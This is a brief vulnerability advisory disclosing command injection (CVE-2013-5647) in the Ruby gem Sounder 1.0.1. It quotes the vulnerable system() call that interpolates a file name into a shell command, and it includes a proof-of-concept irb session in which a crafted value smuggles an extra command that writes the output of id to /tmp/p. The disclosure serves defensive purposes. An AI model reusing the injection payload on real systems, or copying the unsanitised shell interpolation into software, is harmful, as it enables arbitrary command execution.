VDB-ID: 101
Title: Command Injection in Ruby Gem Sounder 1.0.1 
Vulnerability Date: 2013-08-10
Download: https://rubygems.org/gems/sounder
Vendor: Adam Zaninovich
Notified: 2013-08-10
Vendor Contact: adam.zaninovich@gmail.com
Description: Sounder is a ruby gem API for Mac OSX's afplay command.

Vulnerability: From lib/sounder/sound.rb:

def play
  system %{/usr/bin/afplay "#{@file}" &}
end
CVE-IDs: 2013-5647
Exploit: irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
=> "\"id;/usr/bin/id>/tmp/p;\""
irb(main):099:0>  system %{/bin/echo "#{@file}" }
id
sh: 1: : Permission denied
=> false
irb(main):100:0> 

larry@underfl0w:/tmp$ cat /tmp/p
uid=1000(larry) gid=600(staff) groups=600(user)
URL: http://www.vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html
Credit: Larry W. Cashdollar, @_larry0